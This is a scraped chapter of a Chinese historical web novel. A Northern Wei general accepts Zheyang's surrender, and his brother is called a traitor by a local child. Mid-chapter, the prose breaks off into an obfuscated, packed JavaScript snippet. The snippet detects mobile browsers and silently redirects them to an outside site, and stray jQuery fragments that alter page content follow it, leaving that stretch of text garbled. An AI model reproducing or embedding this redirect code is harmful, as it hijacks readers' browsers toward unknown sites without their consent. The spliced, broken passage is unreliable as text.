68.不降之众(上)

作品:《咸鱼庶女的求生日常

    “住口!”


    卢大兄翻身上马,阴沉着脸色呵止了一众将士隐隐的讥嘲,提缰上前做了个虚扶的手势:


    “我大魏又非蛮夷之族,如何会使得这般草菅人命之举,来人!快将曹大人搀扶起来!”


    他向来认死理,君子生于小国非君子之过也,什么威慑下马威卢道将通通不懂,只知以己度人,士可杀,万万不可辱


    龙骧将军说话就是管用,身后的部曲立刻抱拳听令走上前,可就当异国人快要触碰到曹太守的胳膊时,老者却自个从风沙中颤巍站起身,目光如炬,射向一众人等


    “小红腹锦鸡”深吸了一口气,该怎样形容那张脸呢,像极了在一棵老树皱巴巴的树皮上挣扎长出的些许血肉,枯朽干巴,带着些肃穆的悲鸣


    “吾不怕死”


    将士不敢动,万籁俱寂间,只听得太守苍老的嗓音在天地徘徊:


    “身死可以,死国可乎?志士仁人无求生以害仁,有杀身以成仁,殉国殉民实乃吾之幸也,只希望将军——”


    他看回马上的卢大兄,字字铿锵


    “在吾死后,善待赭阳”


    他并不怕死,实则也早就做好了殉国的准备


    卢大兄嘴唇动了动,可还没等男子回话,蓦得,从赭阳城内走出了浩浩荡荡的一群人


    有壮汉,有妇孺,可无一例外皆是送葬般的粗布素衣,他们神色凝重却又高昂,手里拿着铁锹农具,站在了曹太守身后,赭阳身前——就算是腐烂到骨子里的国家,她的人民犹然可敬,他们是国家最后的灵魂和尊严


    “谁敢叫我们太守折命!”


    为首的壮汉刷得挤开几位兵士,一边将曹太守扶起一边怒视向高高在上的一群人,咬牙切齿高喊出声


    “伯治!不是叫你们别出来吗!”


    “我们再不出来,这群杂种还不定怎么为难大人!”


    卢大兄抬了抬手,制止了属下拔刀的举动,依是岿然。壮汉的声量很大,似乎并不惧于让北魏的一众人等听得清清楚楚,而卢道虔下意识摸了把鼻子,不对,他在心虚愧疚些什么


    “喂!”


    壮汉还在瞪着他,语气冲到身侧的宋参军都有些手痒


    “要进城就进城,要查验就查验,别磨磨唧唧跟个娘们似的!是杀是放,老子都陪得起!”


    “我们都奉陪到底!”身后的百姓高喊


    “伯治!”


    曹太守本如风中残烛般的身子猛咳几声,壮汉瞪向他们的眸中的怒火更甚,但同时又忌惮着鲜卑可能真会当场翻脸来个骑兵冲杀,只能恨恨站起身,对着卢大兄朗声道


    “还请将军入城!”


    “请将军入城!”


    风萧萧兮,城门半阖


    “长兄.....”


    并排骑行于大道,接受着临街百姓憎恶大于惊恐的目光,卢道虔只觉这身官袍穿得他浑身泛红疹般的痒,恨不得当场找个洞钻进去。而身旁的长兄却是早已习以为常,板着脸回头对着身后一众将士冷声呵令:


    “入城之后不得惊扰赭阳百姓,违令者以军法伺候!听到没有!”


    “是!”


    到底是阿爷带在身边的长子,处理大场面的能力总归比他这个昔日纨绔强上百倍。卢道虔讪讪收回“求救”的目光,摸了把袋中的骨哨,感觉自己忽得,有些多余


    有点想嫣娘了,军帐里似乎还有封没写完的家书......唉,还是早些归去罢,战场不适合他,而也只有妻子,才会捧着脸对自己这半吊子墨水星星眼得崇拜


    是啊,等料理完这些事,他还要带着她回范阳见见阿家与诸位长辈呢,也不知嫣娘会不会喜欢范阳,喜欢,他的故乡呢


    一定会的罢......嗯


    一想到挚爱,青年顿时多雨转晴,也便不再去计较这些个“拈酸吃醋”,抬起头扬起笑脸,随着长兄往官府衙门的方向而去


    好在,这临街观望的百姓并没有向他们扔来烂菜叶子和臭鸡蛋,双方都给对方留下最后一份体面。而赭阳的景,也总有种人伤口停在结痂前的那刻,一撕一扯就会再度溃烂的脆弱。骑于马上,卢道虔如是想着


    还是洛阳好啊


    赭阳,衙门官府


    来自北方的军队将此团团围住,可人群仍不愿散去,他们抿紧嘴拿着唯一有杀伤力的斧头和农具,盯着曹太守被颤巍巍扶上靠椅的身影,神色间尽是一派与赭阳共存亡般的决绝。卢道虔抬头看向官府落灰的牌匾,心想,其实,这儿还没有固惠安侯府的正堂气派呢


    “咳咳咳”


    曹太守和长兄并排坐于最上首,老人的身体早已挺不住长跪,可仍强撑着,将背脊挺得笔直,温声开口:


    “将军怎么称呼”


    卢道虔与宋参军落座于虚掩的朱门外,一边晒着太阳,一边听着里头的动静,一边“监视着”外头“安分”的百姓


    “卢祖业”


    嗯啊嘶,其实工作的时候还是称职务更恰当些吧


    “可是后汉桢干,昭烈帝之师,范阳卢子干之后 ?”


    曹太守看着卢大兄与官爵不大衬和的年轻相貌,忍不住继续追问


    “正是”


    “范阳卢氏啊”


    摇着头,老太守“难怪难怪”了半天,眸中闪过几分压不下的艳羡,出生于大族,名士之后,这搁自负清流才学的文人眼中的确是值得吹三辈子的资本


    “风霜以别草木之性,危乱而见贞良之节,咳咳,卢公实乃士之楷模也,刚毅非常,令吾等佩服啊佩服”这何尝亦不是,他的一生所求呢


    “嘁”


    坐在下手的曹伯治轻蔑得冷哼一声,却碍于对面提刀戴甲的武官,不敢发作


    “大人乃魏武大帝之子孙也,文采风流犹尚存,又何必妄自菲薄。我朝向来惜才,陛下更是有求贤若渴之心,南人王恭懿亦可官至辅国大将军,若您不弃,家父也可为您举荐一二”


    听听,还是文化人会哄人撒,卢道虔靠着椅背对着里头朗然出声,曹太守眸光一亮,但很快,便又熄了灭


    “老了老了,唉......”


    叹什么气呢,叹南齐自称汉室正统瞧不起北魏胡人之后,到头来,反倒还没有人家政治清明,国力强盛吗


    “切,一女不侍二夫,一臣不佐二君,用不着你们假惺惺”


    曹伯治也抬高了声量,不客气得替老父回绝,替南人回绝北方的怜悯与施舍


    “鲜卑何等蛮夷——”


    “伯治!”


    卢道虔摇了摇头,重新坐直了身,理解,理解,毕竟偏见这种东西,哪能这么容易就剔除呢


    他刚想起身带一队人马去赭阳城到处转转,却不料正巧对上人群中一抱着阿家膝,怯生生望着青年的小儿目,卢道虔心下不由得好奇,忍不住向他招了招手


    “诶?你”


    那妇人立刻警惕得将孩子护到身后,可仍被身前大兵跟提小鸡似得捉了出来,一把推到卢道虔面前,还没等妇人痛呼出声,只听身侧宋参军又警告意味十足得笑道:


    “这位可是我们大魏的驸马爷~,天子的女婿,堂堂临淄伯是也,你们呀,可万万惹不起呢”


    人群顿时浮起一阵骚动,那不善的目光更甚,卢道虔颇有些尴尬,只能蹲下身搂着孩童的肩,笑着出声:


    “你为什么要看着阿兄呐?”


    那孩童显然受惊不小,咬着牙齿打着颤歪头盯着他,良久良久,方听前者用那种极为单纯的语气兀然发问:


    “汉人,你是汉人,你也是汉人?”


    诶,他不像吗?青年并未注意到周遭人群的异常安静,只笑回:


    “是啊”


    “那你为啥要给胡人干活”


    卢道虔猛得一滞


    “汉人,为啥要给胡人干活,认胡人的皇帝”


    那孩童咬着手指,天真无邪童言无忌,也许他也真的很好奇罢


    但看着小儿如清泉汪汪的眼瞳,卢道虔想着跟这么小的孩子解释什么——魏国的皇帝改汉姓说汉话兴汉制,跟之前的蛮夷胡族已经完全不一样了甚的,人家不一定懂,便又摸了摸他的脑袋,依是笑回:


    “因为北边也是阿兄的故乡啊,离幽州燕地极近呢,有句民谣怎么唱来着,北风烈烈兮,而望黄金台——”


    “叛徒!”


    可那孩童却是直接甩开了卢道虔的手,竟开始咿咿呀呀大哭了起来:


    “你是叛徒!你帮着胡人杀汉人!你是个大坏蛋!”


    啊......


    无措,不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14624457|145179||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    仅是对哄孩子的无措,更是对自己身份认同迷茫与信仰崩塌的第一次无措


    “可北方,也有很多土生土长的汉人啊......”


    煽动嘴唇,青年只能这样无力得解释,因为他就是效忠于鲜卑的皇帝,就是帮着鲜卑的皇帝屠杀着自己的同族,这一点他怎么都狡辩不了


    面对孩童,卢道虔怎么都撒不了谎


    可,这是他的错吗?


    不,其实站在各自的立场,大家都没有错,这本就是历史无解的命题


    无法,卢道虔苦笑着,站起身帮孩童温柔得理了理衣襟,可他刚想将他放回自己阿家身边时,忽闻得一声破空,以及一声男人的蛮斥:


    “放肆!无知刁民!真是有眼不识泰山!”


    一道血淋淋的鞭痕刹间出现在孩童不算白皙的面庞上,连带着卢道虔的指间亦残存着鞭挥过所带来的风的灼烫


    孩啼止,青年顿时怔住,人群陷入一阵诡异的安静,就连堂内的交谈声都戛然而止,是风雨欲来前的众生齐喑


    鞭声太清脆了,轻易得打碎了两国人民之间本就支离的信任,青年苍白的欲解释,瞬间淹没于一声声孩童更加凄厉的啼哭声中。子泣,母亦淌泪,可他们间仍隔着像银河般“坚硬”的兵墙,妇人跪地抓着兵卒的刀尾哭嚎,一声声“求大人饶命!”堪堪遏云


    怎么办


    “何事喧哗!”


    好在长兄立刻闻讯而出,曹太守也在儿子的搀扶之下踏出了门槛,后者见此场面颇为复杂,曹伯治愤怒到冷哼一声,看向阿爷的眼神仿佛就在说


    “我就说吧,胡人的狗怎么可能善待汉人,善待赭阳”


    “呦,将军”


    而咸阳王留下的亲信却像个没事人似的,或许在他眼中,打了孩童本就跟打了一只畜牲没区别,将鞭绳完成任务般轻巧一收,宋参军脸上甚至还挂着笑


    “这不,听见几个刁民对令弟临淄伯出言不逊,一口一个“叛徒”难听得要死,浑然不将我泱泱大魏放于眼中,气不过,气不过这才嘿嘿”


    人群翻滚过一阵异样的喧哗,卢道虔仍保持着面向他们的僵硬姿势,明显察觉到有好几人将手中的铁锹农具握得紧了紧,脸上压抑着的怒火更甚


    “三十军棍!”


    “啊?”


    “拖下去!”


    卢大兄皱眉,呵声


    不是,不是,等下,三十军棍!?


    宋参军顿时慌了,这么说吧,三十军棍,像三国猛将许某人都不一定挨得过去,轻则皮开肉绽举步维艰,重则,一命呜呼含“啸”九泉


    可他到底是亲王的亲信啊,这,这黄毛小子怎么敢!


    不说宋参军,在场不少鲜卑的将士也是一愣,当然,后者更惊诧的是卢道将竟敢狂妄到这种地步,一点面子都不给咸阳王留——以后这这还了得!


    “五十!”


    见没人动,卢大兄冷着脸继续发号施令,也只能是他们,古板严肃认死理的家伙,才能御出军纪严明的军队


    立刻有卢氏的部曲上前将宋参军拖了下去,连带跟走了一群鲜卑的士兵,无他,就怕汉军手里没个轻重,真的直接将宋参军打死了谁都不好交差


    “切......装”


    曹伯治依是不服,且看着卢道虔清瘦斯文一看就不是很能打的背影,他蓦得,就有了些别的心思


    而曹太守则是能不流血就不流血,能和平演变就不要剑拔弩张,干咳两声,老者看向卢大兄的眼中多了几分赞赏与感激


    “将军大义,接下来,还愿能让下官引着您在赭阳城四处转转”


    “不用了”


    卢大兄抬眸看了眼天色


    “天色不早,还请曹大人先随着祖业回营签署文书一二,庆祖!”


    “诶!”


    卢道虔立刻小步跑到长兄面前,神色间紧张得就像卢大兄要将他一个人丢在赭阳城似的,殊不料,其实正是,嘻嘻


    “拨给你些人,你带着去粮仓那儿查验具体储粮有几石,问明白城内庄家农地亏空孳息如何,听到了吗!”民以食为天嘛,倘若城里闹饥荒,他们不介意先用军粮抵上


    “是......”长兄好凶,呜呜


    “咳咳,伯治,你且也随着这位大人去吧”